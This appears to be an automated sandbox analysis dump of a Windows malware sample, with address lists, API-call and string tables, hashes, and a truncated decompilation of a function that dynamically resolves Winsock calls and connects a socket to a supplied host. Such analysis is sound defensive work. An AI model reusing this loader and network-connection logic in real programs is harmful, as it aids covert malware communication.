0x00401ab6
0x00401ac1
0x00401acc
0x00401ad4
0x00401adf
0x00401aea
0x00401af5
0x00401b00
0x00401b0b
0x00401b16
0x00401b21
0x00401b2c
0x00401b37
0x00401b42
0x00401b4d
0x00401b58
0x00401b63
0x00401b6e
0x00401b79
0x00401b84
0x00401b8f
0x00401b9a
0x00401ba5
0x00401bb0
0x00401bbb
0x00401bc6
0x00401bd1
0x00401bdc
0x00401be7
0x00401bf2
0x00401bfd
0x00401c08
0x00401c13
0x00401c1e
0x00401c29
0x00401c34
0x00401c3f
0x00401c4a
0x00401c55
0x00401c60
0x00401c6b
0x00401c76
0x00401c81
0x00401c8c
0x00401c97
0x00401ca2
0x00401cad
0x00401cb8
0x00401cc3
0x00401cce
0x00401cd9
0x00401ce4
0x00401cef
0x00401cfa
0x00401d13
0x00401d15
0x00401d25
0x00401d2f
0x00401d31
0x00401d41
0x00401d43
0x00401d4b
0x00401d53
0x00401d63
0x00401d65
0x00401d6d
0x00401d75
0x00401d85
0x00401d8f
0x00401d91
0x00401d99
0x00401da1
0x00401db1
0x00401db3
0x00401dbb
0x00401dcb
0x00401dcd
0x00401dd5
0x00401ddd
0x00401ded
0x00401def
0x00401dff
0x00401e01
0x00401e09
0x00401e19
0x00401e23
0x00401e25
0x00401e35
0x00401e37
0x00401e3f
0x00401e4f
0x00401e59
0x00401e5b
0x00401e63
0x00401e73
0x00401e75
0x00401e7d
0x00401e85
0x00401e8d
0x00401e95
0x00401ea5
0x00401eaf
0x00401eb9
0x00401ec3
0x00401ec5
0x00401ecd
0x00401edd
0x00401edf
0x00401eef
0x00401ef1
0x00401f01
0x00401f03
0x00401f13
0x00401f15
0x00401f25
0x00401f27
0x00401f32
0x00401f3a
0x00401f4a
0x00401f4c
0x00401f54
0x00401f5c
0x00401f6c
0x00401f6e
0x00401f81
0x00401f8b
0x00401f8d
0x00401f95
0x00401f9d
0x00401fa5
0x00401fad
0x00401fbd
0x00401fbf
0x00401fcf
0x00401fd9
0x00401fdb
0x00401fe3
0x00401fee
0x00401ff6
0x00402006
0x00402010
0x00402012
0x0040201a
0x0040202a
0x0040202c
0x00402034
0x0040203c
0x00402044
0x0040204f
0x0040205a
0x00402062
0x0040206a
0x00402072
0x00402085
0x00402087
0x0040208f
0x00402097
0x0040209f
0x004020aa
0x004020b2
0x004020ba
0x004020c2
0x004020ca
0x004020d5
0x004020e5
0x004020ef
0x004020f1
0x00402101
0x00402103
0x00402116
0x00402120
0x0040212a
0x00402134
0x0040213e
0x00402148
0x0040214a
0x00402152
0x00402162
0x00402164
0x00402174
0x00402176
0x0040217e
0x00402191
0x00402193
0x0040219b
0x004021a6
0x004021ae
0x004021b9
0x004021c4
0x004021cf
0x004021d7
0x004021df
0x004021e7
0x004021f7
0x00402201
0x00402203
0x0040220e
0x00402219
0x0040222c
0x00402236
0x00402240
0x00402242
0x0040224d
0x00402255
0x00402268
0x00402272
0x00402274
0x0040227f
0x0040228a
0x0040229d
0x0040229f
0x004022b2
0x004022bc
0x004022be
0x004022c9
0x004022d4
0x004022dc
0x004022ec
0x004022ee
0x004022f6
0x00402306
0x00402308
0x00402313
0x0040231b
0x00402323
0x0040232b
0x0040233e
0x00402348
0x0040234a
0x00402355
0x00402365
0x00402367
0x0040236f
0x0040237a
0x00402382
0x0040238a
0x00402395
0x004023a0
0x004023ab
0x004023bb
0x004023bd
0x004023d0
0x004023d2
0x004023dd
0x004023e8
0x004023fb
0x00402405
0x0040240f
0x00402419
0x0040241b
0x00402423
0x0040242e
0x00402441
0x00402443
0x00402453
0x0040245d
0x0040245f
0x00402472
0x00402474
0x0040247f
0x00402487
0x0040248f
0x00402497
0x004024a2
0x004024b5
0x004024b7
0x004024ca
0x004024cc
0x004024d4
0x004024dc
0x004024e7
0x004024fa
0x004024fc
0x00402507
0x00402512
0x0040251d
0x00402530
0x0040253a
0x00402544
0x0040254e
0x00402558
0x00402562
0x00402564
0x00402577
0x00402581
0x00402583
0x0040258b
0x00402593
0x0040259e
0x004025a9
0x004025b1
0x004025bc
0x004025c4
0x004025cc
0x004025df
0x004025e1
0x004025ec
0x004025f4
0x004025fc
0x0040260c
0x0040260e
0x00402621
0x0040262b
0x0040262d
0x00402635
0x00402640
0x00402653
0x00402655
0x00402660
0x0040266b
0x0040267b
0x0040267d
0x00402685
0x00402695
0x0040269f
0x004026a1
0x004026ac
0x004026b4
0x004026c7
0x004026d1
0x004026d3
0x004026de
0x004026e9
0x004026fc
0x004026fe
0x00402706
0x00402711
0x00402719
0x00402729
0x0040272b
0x00402733
0x00402746
0x00402748
0x00402753
0x0040275b
0x00402766
0x00402771
0x00402779
0x0040278c
0x0040278e
0x00402799
0x004027ac
0x004027b6
0x004027c0
0x004027c2
0x004027cd
0x004027d5
0x004027e5
0x004027e7
0x004027fa
0x004027fc
0x00402807
0x00402817
0x00402821
0x00402823
0x0040282e
0x00402839
0x00402844
0x0040284f
0x0040285a
0x00402865
0x00402875
0x00402877
0x0040287f
0x00402887
0x00402897
0x004028a1
0x004028a3
0x004028b6
0x004028c0
0x004028c2
0x004028cd
0x004028d5
0x004028e8
0x004028f2
0x004028f4
0x004028fc
0x00402907
0x00402912
0x00402925
0x00402927
0x00402932
0x0040293d
0x00402948
0x00402953
0x00402963
0x00402965
0x00402970
0x00402978
0x00402983
0x0040298e
0x004029a1
0x004029ab
0x004029ad
0x004029bd
0x004029c7
0x004029c9
0x004029dc
0x004029de
0x004029f1
0x004029f3
0x004029fe
0x00402a09
0x00402a14
0x00402a1f
0x00402a27
0x00402a2f
0x00402a37
0x00402a3f
0x00402a52
0x00402a54
0x00402a5f
0x00402a6a
0x00402a75
0x00402a80
0x00402a93
0x00402a9d
0x00402a9f
0x00402aaa
0x00402abd
0x00402ac7
0x00402ac9
0x00402ad4
0x00402adf
0x00402aea
0x00402af2
0x00402afd
0x00402b08
0x00402b1b
0x00402b25
0x00402b27
0x00402b32
0x00402b45
0x00402b47
0x00402b52
0x00402b5a
0x00402b6d
0x00402b77
0x00402b81
0x00402b83
0x00402b96
0x00402ba0
0x00402ba2
0x00402bb2
0x00402bb4
0x00402bcb
0x00402bd6
0x00402be8
0x00402bf9
0x00402c70
0x00402c70
0x00402c7f
0x00402c86
0x00402c8b
0x00402c96
0x00402c97
0x00402c99
0x00402ca4
0x00402caa
0x00402cb0
0x00402cb4
0x00402cb7
0x00402cba
0x00402cc0
0x00402cc3
0x00402cc9
0x00402ccc
0x00402cd2
0x00402cd5
0x00402cdb
0x00402cde
0x00402ce4
0x00402ce7
0x00402ced
0x00402cee
0x00402cfb
0x00402d02
0x00402d09
0x00402d10
0x00402d17
0x00402d1e
0x00402d2a
0x00402d2a
0x00402d2f
0x00402d2f
0x00402d36
0x00402d3e
0x00402d46
0x00402d4e
0x00402d56
0x00402d61
0x00402d69
0x00402d71
0x00402d79
0x00402d84
0x00402d8c
0x00402d94
0x00402d9c
0x00402da7
0x00402daf
0x00402dba
0x00402dc5
0x00402dd0
0x00402ddb
0x00402de6
0x00402df1
0x00402dfc
0x00402e07
0x00402e12
0x00402e1a
0x00402e25
0x00402e30
0x00402e3b
0x00402e46
0x00402e51
0x00402e5c
0x00402e67
0x00402e72
0x00402e7d
0x00402e88
0x00402e93
0x00402e9e
0x00402ea9
0x00402eb4
0x00402ebf
0x00402eca
0x00402ed2
0x00402edd
0x00402ee8
0x00402ef3
0x00402efe
0x00402f09
0x00402f14
0x00402f1f
0x00402f2a
0x00402f35
0x00402f40
0x00402f4b
0x00402f56
0x00402f61
0x00402f6c
0x00402f77
0x00402f82
0x00402f8d
0x00402f98
0x00402fa3
0x00402fae
0x00402fb9
0x00402fc4
0x00402fcf
0x00402fda
0x00402fe5
0x00402ff0
0x00402ffb
0x00403006
0x00403011
0x0040301c
0x00403027
0x00403032
0x0040303d
0x00403048
0x00403053
0x0040305e
0x00403069
0x00403074
0x0040307f
0x0040308a
0x00403095
0x004030a0
0x004030ab
0x004030b6
0x004030c1
0x004030cc
0x004030d7
0x004030e2
0x004030ed
0x004030f8
0x00403103
0x0040310e
0x00403119
0x00403124
0x0040312f
0x0040313a
0x00403145
0x00403150
0x0040315b
0x00403166
0x00403171
0x0040317c
0x00403187
0x00403192
0x0040319d
0x004031a5
0x004031ad
0x004031b5
0x004031bd
0x004031c5
0x004031cd
0x004031d5
0x004031dd
0x004031e5
0x004031ed
0x004031f5
0x004031fd
0x00403205
0x0040320d
0x00403215
0x0040321d
0x00403228
0x00403230
0x00403238
0x00403240
0x00403248
0x00403250
0x00403258
0x00403263
0x0040326b
0x00403273
0x0040327b
0x00403283
0x0040328b
0x00403293
0x0040329b
0x004032a3
0x004032ae
0x004032b9
0x004032c1
0x004032c9
0x004032d1
0x004032d9
0x004032e1
0x004032e9
0x004032f1
0x004032fc
0x00403307
0x0040330f
0x00403317
0x0040331f
0x00403327
0x00403332
0x0040333a
0x00403345
0x0040334d
0x00403358
0x00403360
0x00403368
0x00403370
0x00403378
0x00403383
0x0040338b
0x00403396
0x0040339e
0x004033a6
0x004033b1
0x004033b9
0x004033c1
0x004033cc
0x004033d4
0x004033df
0x004033e7
0x004033f2
0x004033fd
0x00403405
0x00403410
0x0040341b
0x00403423
0x0040342b
0x00403433
0x0040343b
0x00403443
0x0040344e
0x00403456
0x00403461
0x00403469
0x00403474
0x0040347f
0x0040348a
0x00403492
0x0040349d
0x004034a8
0x004034b0
0x004034bb
0x004034c6
0x004034ce
0x004034d6
0x004034e1
0x004034ec
0x004034f4
0x004034ff
0x00403507
0x00403512
0x0040351d
0x00403525
0x00403530
0x0040353b
0x00403543
0x0040354b
0x00403556
0x0040355e
0x00403566
0x0040356e
0x00403579
0x00403581
0x00403589
0x00403594
0x0040359f
0x004035aa
0x004035b5
0x004035bd
0x004035c8
0x004035d0
0x004035db
0x004035e3
0x004035eb
0x004035f3
0x004035fe
0x00403606
0x00403611
0x00403619
0x00403624
0x0040362f
0x0040363a
0x00403645
0x00403650
0x0040365b
0x00403666
0x00403671
0x00403679
0x00403684
0x0040368f
0x0040369a
0x004036a5
0x004036b0
0x004036bb
0x004036c6
0x004036ce
0x004036d9
0x004036e4
0x004036ef
0x004036fa
0x00403702
0x0040370d
0x00403715
0x0040371d
0x00403728
0x00403733
0x0040373b
0x00403746
0x00403751
0x0040375c
0x00403764
0x0040376f
0x00403777
0x00403782
0x0040378d
0x00403798
0x004037a3
0x004037ae
0x004037b9
0x004037c1
0x004037cc
0x004037d7
0x004037e2
0x004037ed
0x004037f8
0x00403803
0x0040380e
0x00403819
0x00403821
0x0040382c
0x00403837
0x00403842
0x0040384a
0x00403852
0x0040385d
0x00403865
0x00403870
0x0040387b
0x00403886
0x00403891
0x0040389c
0x004038a4
0x004038af
0x004038ba
0x004038c5
0x004038d0
0x004038db
0x004038e6
0x004038ee
0x004038f9
0x00403904
0x0040390f
0x0040391a
0x00403925
0x00403930
0x0040393b
0x00403946
0x0040394e
0x00403959
0x00403964
0x0040396c
0x00403977
0x00403982
0x0040398d
0x00403998
0x004039a0
0x004039ab
0x004039b6
0x004039c1
0x004039c9
0x004039d4
0x004039dc
0x004039e7
0x004039f2
0x004039fa
0x00403a02
0x00403a0d
0x00403a18
0x00403a20
0x00403a2b
0x00403a36
0x00403a41
0x00403a4c
0x00403a57
0x00403a5f
0x00403a67
0x00403a72
0x00403a7d
0x00403a88
0x00403a93
0x00403a9e
0x00403aa9
0x00403ab4
0x00403abf
0x00403ac7
0x00403ad2
0x00403ada
0x00403ae5
0x00403aed
0x00403af8
0x00403b03
0x00403b0e
0x00403b19
0x00403b24
0x00403b2f
0x00403b3a
0x00403b42
0x00403b4d
0x00403b55
0x00403b5d
0x00403b68
0x00403b73
0x00403b7e
0x00403b89
0x00403b91
0x00403b9c
0x00403ba7
0x00403bb2
0x00403bbd
0x00403bc5
0x00403bd0
0x00403bdb
0x00403be6
0x00403bf1
0x00403bfc
0x00403c07
0x00403c12
0x00403c1d
0x00403c28
0x00403c30
0x00403c38
0x00403c43
0x00403c4e
0x00403c59
0x00403c64
0x00403c6f
0x00403c77
0x00403c82
0x00403c8d
0x00403c98
0x00403ca3
0x00403cae
0x00403cb9
0x00403cc4
0x00403ccf
0x00403cda
0x00403ce5
0x00403cf0
0x00403cfb
0x00403d06
0x00403d11
0x00403d1c
0x00403d27
0x00403d32
0x00403d3d
0x00403d48
0x00403d53
0x00403d5e
0x00403d69
0x00403d74
0x00403d7f
0x00403d8a
0x00403d95
0x00403da0
0x00403dab
0x00403db6
0x00403dc1
0x00403dc9
0x00403dd1
0x00403ddc
0x00403de7
0x00403df2
0x00403dfd
0x00403e08
0x00403e10
0x00403e1b
0x00403e26
0x00403e31
0x00403e3c
0x00403e47
0x00403e52
0x00403e5d
0x00403e68
0x00403e73
0x00403e7e
0x00403e89
0x00403e94
0x00403e9c
0x00403ea7
0x00403eb2
0x00403ebd
0x00403ec8
0x00403ed0
0x00403edb
0x00403ee6
0x00403eee
0x00403ef9
0x00403f04
0x00403f0f
0x00403f1a
0x00403f22
0x00403f2d
0x00403f38
0x00403f43
0x00403f4b
0x00403f56
0x00403f61
0x00403f6c
0x00403f77
0x00403f82
0x00403f8d
0x00403f98
0x00403fa3
0x00403fab
0x00403fb6
0x00403fbd
0x00403fbf
0x00403fc5
0x00403fc5
0x00403fc7
0x00403fd5
0x00403fe5
0x00403ff1
0x00000000
0x00000000
0x0040400d
0x0040400d
0x0040401c
0x0040402b
0x0040403b
0x00404045
0x0040404e
0x00404053
0x00404062
0x00404068
0x0040406e
0x00404073
0x0040407b
0x00404084
0x004040b2
0x004040b2
0x004040bd
0x004040d4
0x004040dc
0x004040e3
0x00000000
0x00000000
0x00000000
0x00404086
0x00404086
0x0040408d
0x00404093
0x0040409d
0x004040a2
0x004040a5
0x004040a6
0x004040a8
0x004040a9
0x00000000
0x00404086
0x00402bfb
0x00402c00
0x00402c03
0x00402c03
0x00402c05
0x00402c06
0x00402c12
0x00000000
0x00000000
0x00402c16
0x00402c21
0x00402c2a
0x00402c35
0x00402c3c
0x00402c46
0x00402c54
0x00402c57
0x00402c5f
0x00402c63
0x00402c6a

APIs

GetLocalTime.KERNEL32(?), ref: 00401D13
GetLocalTime.KERNEL32(?), ref: 00401D25
GetLocalTime.KERNEL32(?), ref: 00401D2F
GetLocalTime.KERNEL32(?), ref: 00401D41
GetLocalTime.KERNEL32(?), ref: 00401D63
GetLocalTime.KERNEL32(?), ref: 00401D85
GetLocalTime.KERNEL32(?), ref: 00401D8F
GetLocalTime.KERNEL32(?), ref: 00401DB1
GetLocalTime.KERNEL32(?), ref: 00401DCB
GetLocalTime.KERNEL32(?), ref: 00401DED
GetLocalTime.KERNEL32(?), ref: 00401DFF
GetLocalTime.KERNEL32(?), ref: 00401E19
GetLocalTime.KERNEL32(?), ref: 00401E23
GetLocalTime.KERNEL32(?), ref: 00401E35
GetLocalTime.KERNEL32(?), ref: 00401E4F
GetLocalTime.KERNEL32(?), ref: 00401E59
GetLocalTime.KERNEL32(?), ref: 00401E73
GetLocalTime.KERNEL32(?), ref: 00401EA5
GetLocalTime.KERNEL32(?), ref: 00401EAF
GetLocalTime.KERNEL32(?), ref: 00401EB9
GetLocalTime.KERNEL32(?), ref: 00401EC3
GetLocalTime.KERNEL32(?), ref: 00401EDD
GetLocalTime.KERNEL32(?), ref: 00401EEF
GetLocalTime.KERNEL32(?), ref: 00401F01
GetLocalTime.KERNEL32(?), ref: 00401F13
GetLocalTime.KERNEL32(?), ref: 00401F25
GetLocalTime.KERNEL32(?), ref: 00401F4A
GetLocalTime.KERNEL32(?), ref: 00401F6C
GetLocalTime.KERNEL32(?), ref: 00401F81
GetLocalTime.KERNEL32(?), ref: 00401F8B
GetLocalTime.KERNEL32(?), ref: 00401FBD
GetLocalTime.KERNEL32(?), ref: 00401FCF
GetLocalTime.KERNEL32(?), ref: 00401FD9
GetLocalTime.KERNEL32(?), ref: 00402006
GetLocalTime.KERNEL32(?), ref: 00402010
GetLocalTime.KERNEL32(?), ref: 0040202A
GetLocalTime.KERNEL32(?), ref: 00402085
GetLocalTime.KERNEL32(?), ref: 004020E5
GetLocalTime.KERNEL32(?), ref: 004020EF
GetLocalTime.KERNEL32(?), ref: 00402101
GetLocalTime.KERNEL32(?), ref: 00402116
GetLocalTime.KERNEL32(?), ref: 00402120
GetLocalTime.KERNEL32(?), ref: 0040212A
GetLocalTime.KERNEL32(?), ref: 00402134
GetLocalTime.KERNEL32(?), ref: 0040213E
GetLocalTime.KERNEL32(?), ref: 00402148
GetLocalTime.KERNEL32(?), ref: 00402162
GetLocalTime.KERNEL32(?), ref: 00402174
GetLocalTime.KERNEL32(?), ref: 00402191
GetLocalTime.KERNEL32(?), ref: 004021F7
GetLocalTime.KERNEL32(?), ref: 00402201
GetLocalTime.KERNEL32(?), ref: 0040222C
GetLocalTime.KERNEL32(?), ref: 00402236
GetLocalTime.KERNEL32(?), ref: 00402240
GetLocalTime.KERNEL32(?), ref: 00402268
GetLocalTime.KERNEL32(?), ref: 00402272
GetLocalTime.KERNEL32(?), ref: 0040229D
GetLocalTime.KERNEL32(?), ref: 004022B2
GetLocalTime.KERNEL32(?), ref: 004022BC
GetLocalTime.KERNEL32(?), ref: 004022EC
GetLocalTime.KERNEL32(?), ref: 00402306
GetLocalTime.KERNEL32(?), ref: 0040233E
GetLocalTime.KERNEL32(?), ref: 00402348
GetLocalTime.KERNEL32(?), ref: 00402365
GetLocalTime.KERNEL32(?), ref: 004023BB
GetLocalTime.KERNEL32(?), ref: 004023D0
GetLocalTime.KERNEL32(?), ref: 004023FB
GetLocalTime.KERNEL32(?), ref: 00402405
GetLocalTime.KERNEL32(?), ref: 0040240F
GetLocalTime.KERNEL32(?), ref: 00402419
GetLocalTime.KERNEL32(?), ref: 00402441
GetLocalTime.KERNEL32(?), ref: 00402453
GetLocalTime.KERNEL32(?), ref: 0040245D
GetLocalTime.KERNEL32(?), ref: 00402472
GetLocalTime.KERNEL32(?), ref: 004024B5
GetLocalTime.KERNEL32(?), ref: 004024CA
GetLocalTime.KERNEL32(?), ref: 004024FA
GetLocalTime.KERNEL32(?), ref: 00402530
GetLocalTime.KERNEL32(?), ref: 0040253A
GetLocalTime.KERNEL32(?), ref: 00402544
GetLocalTime.KERNEL32(?), ref: 0040254E
GetLocalTime.KERNEL32(?), ref: 00402558
GetLocalTime.KERNEL32(?), ref: 00402562
GetLocalTime.KERNEL32(?), ref: 00402577
GetLocalTime.KERNEL32(?), ref: 00402581
GetLocalTime.KERNEL32(?), ref: 004025DF
GetLocalTime.KERNEL32(?), ref: 0040260C
GetLocalTime.KERNEL32(?), ref: 00402621
GetLocalTime.KERNEL32(?), ref: 0040262B
GetLocalTime.KERNEL32(?), ref: 00402653
GetLocalTime.KERNEL32(?), ref: 0040267B
GetLocalTime.KERNEL32(?), ref: 00402695
GetLocalTime.KERNEL32(?), ref: 0040269F
GetLocalTime.KERNEL32(?), ref: 004026C7
GetLocalTime.KERNEL32(?), ref: 004026D1
GetLocalTime.KERNEL32(?), ref: 004026FC
GetLocalTime.KERNEL32(?), ref: 00402729
GetLocalTime.KERNEL32(?), ref: 00402746
GetLocalTime.KERNEL32(?), ref: 0040278C
GetLocalTime.KERNEL32(?), ref: 004027AC
GetLocalTime.KERNEL32(?), ref: 004027B6
GetLocalTime.KERNEL32(?), ref: 004027C0
GetLocalTime.KERNEL32(?), ref: 004027E5
GetLocalTime.KERNEL32(?), ref: 004027FA
GetLocalTime.KERNEL32(?), ref: 00402817
GetLocalTime.KERNEL32(?), ref: 00402821
GetLocalTime.KERNEL32(?), ref: 00402875
GetLocalTime.KERNEL32(?), ref: 00402897
GetLocalTime.KERNEL32(?), ref: 004028A1
GetLocalTime.KERNEL32(?), ref: 004028B6
GetLocalTime.KERNEL32(?), ref: 004028C0
GetLocalTime.KERNEL32(?), ref: 004028E8
GetLocalTime.KERNEL32(?), ref: 004028F2
GetLocalTime.KERNEL32(?), ref: 00402925
GetLocalTime.KERNEL32(?), ref: 00402963
GetLocalTime.KERNEL32(?), ref: 004029A1
GetLocalTime.KERNEL32(?), ref: 004029AB
GetLocalTime.KERNEL32(?), ref: 004029BD
GetLocalTime.KERNEL32(?), ref: 004029C7
GetLocalTime.KERNEL32(?), ref: 004029DC
GetLocalTime.KERNEL32(?), ref: 004029F1
GetLocalTime.KERNEL32(?), ref: 00402A52
GetLocalTime.KERNEL32(?), ref: 00402A93
GetLocalTime.KERNEL32(?), ref: 00402A9D
GetLocalTime.KERNEL32(?), ref: 00402ABD
GetLocalTime.KERNEL32(?), ref: 00402AC7
GetLocalTime.KERNEL32(?), ref: 00402B1B
GetLocalTime.KERNEL32(?), ref: 00402B25
GetLocalTime.KERNEL32(?), ref: 00402B45
GetLocalTime.KERNEL32(?), ref: 00402B6D
GetLocalTime.KERNEL32(?), ref: 00402B77
GetLocalTime.KERNEL32(?), ref: 00402B81
GetLocalTime.KERNEL32(?), ref: 00402B96
GetLocalTime.KERNEL32(?), ref: 00402BA0
GetLocalTime.KERNEL32(?), ref: 00402BB2
SendMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00402BD6
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 00402BE8
GetProcessShutdownParameters.KERNEL32(00000000,00000000), ref: 00402C16
GetProcessTimes.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00402C21
SetProcessWorkingSetSize.KERNEL32(00000000,00000000,00000000), ref: 00402C2A
CopyImage.USER32(00000000,00000000,00000000,00000000,00000000), ref: 00402C35
DestroyIcon.USER32(00000000), ref: 00402C3C
GetScrollRange.USER32(00000000,00000000,00000000,00000000), ref: 00402C46
TerminateProcess.KERNEL32(00000000,00000000), ref: 00402C54
GetProcessId.KERNEL32(00000000), ref: 00402C57
TerminateProcess.KERNEL32(00000000,00000000), ref: 00402C5F
SetComputerNameExA.KERNEL32(00000000,00000000), ref: 00402C63
ExitThread.KERNEL32 ref: 00402C6A
BeginPaint.USER32(00000000,00000000), ref: 00402C99
ReportEventW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00402CA4
GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00402D24
GetTickCount.KERNEL32 ref: 00403FC5
GetLastError.KERNEL32 ref: 00403FC7
GetCaretPos.USER32(?), ref: 00403FD5
GetFileInformationByHandle.KERNEL32(00000000,?), ref: 00403FE5
lstrcpyW.KERNEL32(kernel32.dll,kernel), ref: 0040402B
lstrcatA.KERNEL32(dimabozodeseyilemejevuxotipufi,hulonexeso), ref: 0040403B
BeginPaint.USER32(00000000,00000000), ref: 00404045
VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00404062
DuplicateHandle.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040408D
GetTickCount.KERNEL32 ref: 00404093

Part of subcall function 00401769: TransmitCommChar.KERNEL32(00000000,00000000), ref: 0040176D

Part of subcall function 00401986: GetTickCount.KERNEL32(00416D9C,00000000,004040D9,00000932,004111D0), ref: 00401999

ExitThread.KERNEL32 ref: 004040E3

Strings

Q\I, xrefs: 004025C4
e'x, xrefs: 00403821
U:8, xrefs: 00402948
+4-, xrefs: 00402FFB
V=|c, xrefs: 00403E10
Wd5s, xrefs: 00402497
f SN, xrefs: 00402877
z?w., xrefs: 00402E25
,z G, xrefs: 00401B6E
+]wQ, xrefs: 00403A5F
kilajatovitacofugorakoja tobuyukoxu hirure, xrefs: 00402BBF
EyyT, xrefs: 00403CA3
nihifezacesilotamomoxi, xrefs: 00404010
hulonexeso, xrefs: 00404031
-s9^, xrefs: 00402753
Yi, xrefs: 00403964
&FDb, xrefs: 00403EA7
DF2, xrefs: 004023D2
X.L;, xrefs: 00403DA0
,i7=, xrefs: 0040320D
kU9;, xrefs: 00403150
ZCak, xrefs: 00401B79
>B67, xrefs: 00403A88
+\j, xrefs: 004037E2
y^, xrefs: 00403345
kernel32.dll, xrefs: 00402CBA, 00402CF6, 00404026
4t^, xrefs: 00402E7D
IBQ., xrefs: 00402E67
D35, xrefs: 004035E3
XB}, xrefs: 0040387B
YT\f, xrefs: 00402FF0
<FB, xrefs: 0040347F
US{j, xrefs: 00402062
5nF-, xrefs: 004020AA
#?4, xrefs: 00403BDB
dimabozodeseyilemejevuxotipufi, xrefs: 00402BFB, 00404036
h`, xrefs: 004035F3
@9Q), xrefs: 00402DFC
_3G, xrefs: 00403370
y, xrefs: 00403B2F
d4^S, xrefs: 00403CF0
crd., xrefs: 00403443
,X`j, xrefs: 00401A82
rkfT, xrefs: 00403C6F
>?`, xrefs: 004037B9
kernel, xrefs: 00404021
x`;-, xrefs: 0040229F
Iny4, xrefs: 004024B7
2, xrefs: 00402C8B
|[#G, xrefs: 004027FC
'l', xrefs: 004023DD
#]Q', xrefs: 00403A4C
K#", xrefs: 00401D6D
9F0%, xrefs: 00402EDD
<iU, xrefs: 004019E8

Memory Dump Source

Source File: 00000009.00000001.591217201.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.590943898.00400000.00000002.sdmp
Associated: 00000009.00000001.592063011.00411000.00000002.sdmp
Associated: 00000009.00000001.592415327.00418000.00000008.sdmp
Associated: 00000009.00000001.593530815.00428000.00000004.sdmp
Associated: 00000009.00000001.593957050.0042E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_159753404015476.jbxd

Similarity

API ID: LocalTime$Process$CountHandleTick$BeginExitMessagePaintTerminateThread$AllocCaretCharCommComputerCopyDestroyDuplicateErrorEventFileIconImageInformationLastModuleNameParametersPeekRangeReportScrollSendShutdownSizeTimesTransmitVirtualWorkinglstrcatlstrcpy
String ID: +4-$<iU$#?4$#]Q'$&FDb$+\j$+]wQ$,X`j$,i7=$,z G$-s9^$2$4t^$5nF-$9F0%$<FB$>B67$>?`$@9Q)$DF2$EyyT$IBQ.$Iny4$K#"$Q\I$U:8$US{j$V=|c$Wd5s$X.L;$YT\f$ZCak$_3G$crd.$d4^S$dimabozodeseyilemejevuxotipufi$e'x$f SN$hulonexeso$kU9;$kernel$kernel32.dll$kilajatovitacofugorakoja tobuyukoxu hirure$nihifezacesilotamomoxi$rkfT$x`;-$y$z?w.$|[#G$'l'$D35$XB}$Yi$y^$h`
API String ID: 2208930147-570972327
Opcode ID: 80d928605402df94f72e2112654c40fd7adb9e0b4494b4c7462083ebb4c3e109
Instruction ID: aae904139f6f02de2054c25e7a91ef025ffc480f2add1da4e375e51f42c256c7
Opcode Fuzzy Hash: 80d928605402df94f72e2112654c40fd7adb9e0b4494b4c7462083ebb4c3e109
Instruction Fuzzy Hash: BB03FFB28093849BD3B0DF62C988B9FB7E8BF94314F548D0DA2C956510EB749A84CF57

Uniqueness

Uniqueness Score: 100.00%

Function 00417840, Relevance: 33.5, APIs: 10, Strings: 9, Instructions: 269
libraryloaderUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E00417840(intOrPtr __eax, void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __esi, intOrPtr _a4, intOrPtr _a8, char _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v432;
				intOrPtr _v444;
				short _v446;
				char _v448;
				char _v1472;
				char _v1476;
				char _v1480;
				char _v1484;
				char _v1488;
				char _v1492;
				void* _t144;
				void* _t151;
				void* _t186;
				struct HINSTANCE__* _t196;
				void* _t197;
				intOrPtr _t206;
				void* _t222;
				void* _t225;
				void* _t228;

				_v1476 = 0;
				_v1480 = 0;
				_v1484 = 0;
				_v1488 = 0;
				_v1492 = 0;
				_v20 = 0;
				_v24 = 0;
				_v28 = 0;
				_v32 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00403980(_v8);
				E00403980(_v12);
				E00403980(_v16);
				E00403980(_a16);
				E00403980(_a12);
				_push(_t228);
				_push(0x417c51);
				_push( *[fs:eax]);
				 *[fs:eax] = _t228 + 0xfffffa30;
				E0040357C( &_v28, "wsock32.dll");
				_t196 = GetModuleHandleA(E004039E8( &_v28));
				if(_t196 == 0) {
					_t196 = LoadLibraryA(E004039E8( &_v28));
				}
				 *0x41cb38 = GetProcAddress(_t196,  &((E004039E8( &_v28))[0xc]));
				 *0x41cb3c = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x17]));
				 *0x41cb40 = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x25]));
				 *0x41cb44 = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x2c]));
				 *0x41cb48 = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x31]));
				 *0x41cb4c = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x36]));
				 *0x41cb50 = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x3c]));
				 *0x41cb54 = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x44]));
				if(_t196 != 0 &&  *0x41cb38 != 0 &&  *0x41cb3c != 0 &&  *0x41cb40 != 0 &&  *0x41cb44 != 0 &&  *0x41cb48 != 0 &&  *0x41cb4c != 0 &&  *0x41cb50 != 0 &&  *0x41cb54 != 0) {
					E004034E4( &_v24);
					_push( &_v432);
					_push(E00404F40(2, 2));
					if( *0x41cb38() == 0) {
						_t225 =  *0x41cb40(2, 1, 0);
						if(_t225 != 0xffffffff) {
							_v448 = 2;
							_t144 =  *0x41cb3c(E00403990(_v8));
							if(_t144 != 0) {
								_v444 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t144 + 0xc))))));
								_v446 =  *0x41cb4c(_a8);
								_t151 =  *0x41cb50(_t225,  &_v448, 0x10);
